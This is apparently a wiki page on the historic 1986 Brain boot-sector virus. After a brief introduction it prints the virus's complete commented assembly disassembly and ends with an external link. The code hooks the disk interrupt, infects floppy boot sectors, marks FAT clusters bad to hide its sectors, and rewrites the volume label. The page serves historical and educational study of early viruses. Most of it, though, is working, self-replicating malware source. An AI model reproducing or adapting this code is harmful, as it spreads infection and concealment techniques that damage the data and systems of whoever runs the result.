Self-Replicating Automata/List/Brain
Introduction
editLike many of the earliest virus, it is evident from the code that Brain (brain.dos.x) does not utilise any inherent system vulnerabilities to spread. Its spreading is purely dependent on well documented function calls(interrupts).
Source Code
edit; This is the ashar variant of the classic Pakistani Brain virus. It is large ; by today's standards, although it was one of the first. It is a floppy only ; boot sector infector. brain segment byte public assume cs:brain, ds:brain ; Disassembly done by Dark Angel org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE ' db ' RECORD v9.0 Dedicated to th' db 'e dynamic memories of millions o' db 'f virus who are no longer with u' db 's today - Thanks GOODNESS!! ' db ' BEWARE OF THE er..VIRUS : \th' db 'is program is catching prog' db 'ram follows after these messeges' db '..... $' db '#@%$' db '@!! ' entervirus: mov ax,cs mov ds,ax ; ds = 0 mov ss,ax ; set stack to after mov sp,0F000h ; virus sti mov al,ds:[7C00h+offset firsthead] mov ds:[7C00h+offset curhead],al mov cx,ds:[7C00h+offset firstsector] mov ds:[7C00h+offset cursector],cx call calcnext mov cx,5 ; read five sectors mov bx,7C00h+200h ; after end of virus loadnext: call readdisk call calcnext add bx,200h loop loadnext mov ax,word ptr ds:[413h] ; Base memory size in Kb sub ax,7 ; - 7 Kb mov word ptr ds:[413h],ax ; Insert as new value mov cl,6 shl ax,cl ; Convert to paragraphs mov es,ax mov si,7C00h ; Copy from virus start mov di,0 ; to start of memory mov cx,1004h ; Copy 1004h bytes cld rep movsb push es mov ax,200h push ax retf ; return to old boot sector readdisk: push cx push bx mov cx,4 ; Try 4 times tryread: push cx mov dh,ds:[7C00h+offset curhead] mov dl,0 ; Read sector from default mov cx,ds:[7C00h+offset cursector] mov ax,201h ; Disk to memory at es:bx int 13h jnc readOK mov ah,0 ; Reset disk int 13h ; (force read track 0) pop cx loop tryread int 18h ; ROM basic on failure readOK: pop cx pop bx pop cx retn calcnext: mov al,byte ptr ds:[7C00h+offset cursector] inc al mov byte ptr ds:[7C00h+offset cursector],al cmp al,0Ah jne donecalc mov byte ptr ds:[7C00h+offset cursector],1 mov al,ds:[7C00h+offset curhead] inc al mov ds:[7C00h+offset curhead],al cmp al,2 jne donecalc mov byte ptr ds:[7C00h+offset curhead],0 inc byte ptr ds:[7C00h+offset cursector+1] donecalc: retn ; the following is a collection of garbage bytes db 00h, 00h, 00h, 00h, 32h,0E3h db 23h, 4Dh, 59h,0F4h,0A1h, 82h db 0BCh,0C3h, 12h, 00h, 7Eh, 12h db 0CDh, 21h,0A2h, 3Ch, 5Fh a_data dw 050Ch ; Second part of the virus begins here jmp short entersecondpart db '(c) 1986 Brain & Amjads (pvt) Ltd ',0 readcounter db 4 ; keep track of # reads curdrive db 0 int13flag db 0 entersecondpart: mov cs:readcounter,1Fh xor ax,ax mov ds,ax ; ds -> interrupt table mov ax,ds:[13h*4] mov ds:[6Dh*4],ax mov ax,ds:[13h*4+2] mov ds:[6Dh*4+2],ax mov ax,offset int13 ; 276h mov ds:[13h*4],ax mov ax,cs mov ds:[13h*4+2],ax mov cx,4 ; 4 tries xor ax,ax mov es,ax ; es -> interrupt table tryreadbootsector: push cx mov dh,cs:firsthead mov dl,0 mov cx,cs:firstsector mov ax,201h ; read from default disk mov bx,7C00h int 6Dh ; int 13h jnc readbootOK mov ah,0 int 6Dh ; int 13h pop cx loop tryreadbootsector int 18h ; ROM basic on failure readbootOK: ; return control to ; original boot sector ;* jmp far ptr 0000:7C00h db 0EAh, 00h, 7Ch, 00h, 00h nop ; MASM NOP!!! int13: sti cmp ah,2 ; if not read request, jne doint13 ; do not go further cmp dl,2 ; if after second floppy, ja doint13 ; do not go further cmp ch,0 ; if not reading boot sector, jne regularread ; go handle as usual cmp dh,0 ; if boot sector, je readboot ; do I<-/>/\|> stuff regularread: dec cs:readcounter ; Infect after 4 reads jnz doint13 ; If counter still OK, don't ; do anything else jmp short readboot ; Otherwise, try to infect doint13: jmp exitint13h readboot: ; FINISH THIS! mov cs:int13flag,0 ; clear flag mov cs:readcounter,4 ; reset counter push ax push bx push cx push dx mov cs:curdrive,dl mov cx,4 tryreadbootblock: push cx mov ah,0 ; Reset disk int 6Dh jc errorreadingbootblock ; Try again mov dh,0 mov cx,1 mov bx,offset readbuffer ; buffer @ 6BEh push es mov ax,cs mov es,ax mov ax,201h int 6Dh ; Read boot sector pop es jnc continuestuff ; continue if no error errorreadingbootblock: pop cx loop tryreadbootblock jmp short resetdisk ; too many failures nop continuestuff: pop cx ; get system id in boot block mov ax,word ptr cs:[offset readbuffer+4] cmp ax,1234h ; already infected? jne dodisk ; if not, infect it mov cs:int13flag,1 ; flag prev. infection jmp short noreset dodisk: push ds push es mov ax,cs mov ds,ax mov es,ax push si call writevirus ; infect the disk jc failme ; exit on failure mov cs:int13flag,2 ; flag success call changeroot ; manipulate volume label failme: pop si pop es pop ds jnc noreset ; don't reset on success resetdisk: mov ah,0 ; reset disk int 6Dh ; int 13h noreset: pop dx pop cx pop bx pop ax cmp cx,1 jne exitint13h cmp dh,0 jne exitint13h cmp cs:int13flag,1 ; already infected? jne wasntinfected ; if wasn't, go elsewhere mov cx,word ptr cs:[offset readbuffer+7] mov dx,word ptr cs:[offset readbuffer+5] mov dl,cs:curdrive ; otherwise, read real jmp short exitint13h ; boot sector wasntinfected: cmp cs:int13flag,2 ; successful infection? jne exitint13h ; if not, just do call mov cx,cs:firstsector mov dh,cs:firsthead exitint13h: int 6Dh ; int 13h retf 2 db 15 dup (0) FATManip: ; returns al as error code jmp short delvedeeper nop FATManipreadcounter dw 3 db ' (c) 1986 Brain & Amjads (pvt) Ltd' delvedeeper: call readFAT ; Get FAT ID byte mov ax,word ptr ds:[offset readbuffer] cmp ax,0FFFDh ; is it 360K disk? je is360Kdisk ; continue if so mov al,3 ; al=3 == not good disk stc ; flag error retn ; and exit is360Kdisk: mov cx,37h mov FATManipreadcounter,0 ; none found yet checknextsector: call FATentry12bit ; get entry in FAT cmp ax,0 ; unused? jne notunused inc FATManipreadcounter ; one more found unused cmp FATManipreadcounter,3 ; If need more, jne tryanother ; go there jmp short markembad ; found 3 consecutive nop ; empty sectors notunused: mov FATManipreadcounter,0 ; must start over tryanother: inc cx ; try next sector cmp cx,163h ; end of disk? jne checknextsector ; if not, continue mov al,1 ; al=1 == none empty stc ; Indicate error retn markembad: mov dl,3 ; 3 times markanotherbad: call markbad12bit dec cx dec dl jnz markanotherbad inc cx call calc1sttrack call writeFAT ; update FAT mov al,0 ; al=0 == ok clc ; indicate success retn markbad12bit: push cx push dx mov si,offset readbuffer ; si -> buffer mov al,cl shr al,1 jc low_12 ; low bits call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0F000h ; mark it bad or ax,0FF7h jmp short putitback ; and put it back nop low_12: call clus2offset12bit mov ax,[bx+si] ; get FAT entry and ax,0Fh ; mark it bad or ax,0FF70h putitback: mov [bx+si],ax ; replace FAT entry mov word ptr ds:[400h][bx+si],ax ; in two places pop dx pop cx retn FATentry12bit: push cx mov si,offset readbuffer ; si->buffer mov al,cl shr al,1 ; Part 3 of the virus starts here jc want_high_12 call clus2offset12bit mov ax,[bx+si] and ax,0FFFh jmp short exitFATentry12bit nop want_high_12: call clus2offset12bit ; xxxxxxxxxxxx0000 mov ax,[bx+si] ; ^^^^^^^^^^^^wanted and ax,0FFF0h ; mask wanted bits mov cl,4 ; and move to correct shr ax,cl ; position exitFATentry12bit: pop cx retn clus2offset12bit: push dx mov ax,3 mul cx shr ax,1 ; ax = cx*1.5 mov bx,ax pop dx retn readFAT: mov ah,2 ; read call FAT_IO retn writeFAT: mov ah,3 ; write call FAT_IO retn FAT_IO: mov cx,4 ; try four times FAT_IOLoop: push cx push ax mov ah,0 ; reset disk int 6Dh ; int 13h pop ax jc tryFAT_IOagain mov bx,offset readbuffer mov al,4 ; 4 sectors mov dh,0 ; head 0 mov dl,curdrive mov cx,2 ; sector 2 push ax ; (FAT) int 6Dh ; int 13h pop ax jnc exitFAT_IO tryFAT_IOagain: pop cx loop FAT_IOLoop pop ax pop ax mov al,2 stc ; mark error retn exitFAT_IO: pop cx retn calc1sttrack: push cx sub cx,2 shl cx,1 ; 2 sectors/cluster add cx,0Ch ; start of data area mov ax,cx ; ax = sector mov cl,12h ; 4096 div cl ; ax/4096 = al rem ah mov byte ptr firstsector+1,al mov firsthead,0 inc ah cmp ah,9 ; past track 9? jbe notpasttrack9 ; nope, we are ok sub ah,9 ; otherwise, adjust mov firsthead,1 notpasttrack9: mov byte ptr firstsector,ah pop cx retn db 0, 0, 0, 0, 0, 0 r_or_w_root db 3 entrycount dw 35h tempsave1 dw 303h tempsave2 dw 0EBEh tempsave3 dw 1 tempsave4 dw 100h db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh db 8Dh, 98h, 9Fh, 8Eh,0E0h db ' (c) ashar $' changeroot: call readroot{{typo help inline|reason=similar to breadroot|date=August 2022}} ; read in root directory jc donotchangeroot push di call changevolume ; change volume label pop di jc donotchangeroot call writeroot ; write back new root dir donotchangeroot: retn ; The following is just garbage bytes db 0BBh, 9Bh, 04h,0B9h, 0Bh db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h db 0C6h, 06h changevolume: mov entrycount,6Ch mov si,offset readbuffer+40h; 3nd dir entry mov tempsave1,dx mov ax,entrycount ; 6Ch shr ax,1 mov tempsave3,ax ; 36h shr ax,1 mov tempsave2,ax ; 1Bh xchg ax,cx and cl,43h ; cx = 3 mov di,tempsave2 add di,1E3h ; di = 01FE findlabel: mov al,[si] cmp al,0 je dolabel ; no mo entries mov al,[si+0Bh] ; attribute byte and al,8 ; volume label? cmp al,8 ; yes? je dolabel ; then change it! add si,20h ; go to next directory entry dec entrycount jnz findlabel ; loop back stc ; Error! retn db 8Bh dolabel: mov bx,[di] ; offset a_data xor bx,tempsave3 ; bx = 53Ah mov tempsave3,si ; si->direntry cli mov ax,ss mov tempsave1,ax mov tempsave2,sp mov ax,cs mov ss,ax mov sp,tempsave3 add sp,0Ch ;->reserved area mov cl,51h add dx,444Ch mov di,2555h mov cx,0C03h repe cmpsw mov ax,0B46h mov cx,3 rol ax,cl ; ax = 5A30h mov tempsave3,ax mov cx,5 mov dx,8 sub tempsave3,5210h ; 820h push tempsave3 ; store attributes/reserved ; I haven't commented the remainder of this procedure. ; It basically changes the volume label to read "(c) Brain" ; Comment mode OFF dowhatever: mov ah,[bx] ; 5a3h inc bx mov dl,ah shl dl,1 jc dowhatever searchstuff: mov dl,[bx] ; dl=C2h inc bx ; bx=53Eh mov al,dl shl dl,1 jc searchstuff add ax,1D1Dh push ax inc tempsave3 db 73h, 01h ; jnc $+3 db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 xchg bp,ax add al,0A1h xchg bx,ax add al,8Eh sar bl,1 add dh,[bp+si] clc ret ;db 95h, 04h,0A1h, 93h, 04h, 8Eh ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h ; Comment mode ON readroot: mov r_or_w_root,2 ; set action code jmp short do_rw_root ; easier to do w/ nop ; mov ah, 2 writeroot: mov r_or_w_root,3 jmp short do_rw_root ; this is somewhat useless nop do_rw_root: mov dh,0 ; head 0 mov dl,curdrive mov cx,6 ; sector 6 mov ah,r_or_w_root mov al,4 ; 4 sectors mov bx,offset readbuffer call doint13h jc exit_rw_root ; quit on error mov cx,1 mov dh,1 ; head 1 mov ah,r_or_w_root mov al,3 add bx,800h call doint13h exit_rw_root: retn doint13h: mov tempsave1,ax mov tempsave2,bx mov tempsave3,cx mov tempsave4,dx mov cx,4 doint13hloop: push cx mov ah,0 ; Reset disk int 6Dh jc errordoingint13h mov ax,tempsave1 mov bx,tempsave2 mov cx,tempsave3 mov dx,tempsave4 int 6Dh ; int 13h jnc int13hsuccess errordoingint13h: pop cx loop doint13hloop stc ; indicate error retn int13hsuccess: pop cx retn db 0, 0, 0 ; Part 4 of the virus starts here tempstorecx dw 3 readwritecurrentdata dw 301h writevirus: call FATManip jc exitwritevirus mov cursector,1 mov curhead,0 mov bx,offset readbuffer call readcurrent mov bx,offset readbuffer mov ax,firstsector mov cursector,ax mov ah,firsthead mov curhead,ah call writecurrent call calcnextsector mov cx,5 mov bx,200h writeanothersector: mov tempstorecx,cx call writecurrent call calcnextsector add bx,200h mov cx,tempstorecx loop writeanothersector mov curhead,0 mov cursector,1 mov bx,0 call writecurrent clc ; indicate success exitwritevirus: retn readcurrent: mov readwritecurrentdata,201h jmp short doreadwrite nop writecurrent: mov readwritecurrentdata,301h jmp short doreadwrite ; This is pointless. nop doreadwrite: push bx mov cx,4 tryreadwriteagain: push cx mov dh,curhead mov dl,curdrive mov cx,cursector mov ax,readwritecurrentdata ; read or write? int 6Dh ; int 13h jnc readwritesuccessful mov ah,0 ; reset disk int 6Dh ; int 13h pop cx loop tryreadwriteagain pop bx pop bx stc ; Indicate error retn readwritesuccessful: pop cx pop bx retn calcnextsector: inc byte ptr cursector ; next sector cmp byte ptr cursector,0Ah jne donecalculate ; finished calculations mov byte ptr cursector,1 ; clear sector # inc curhead ; and go to next head cmp curhead,2 ; if not too large, jne donecalculate ; we are done mov curhead,0 ; otherwise clear head # inc byte ptr cursector+1 ; and advance cylinder donecalculate: retn db 64h, 74h, 61h ; read buffer starts here ; insert your favorite boot block below... readbuffer: brain ends end
External link
edit- Story of the virus from Brain Limited - This link has the actual message of the virus, complete with the phone numbers, etc.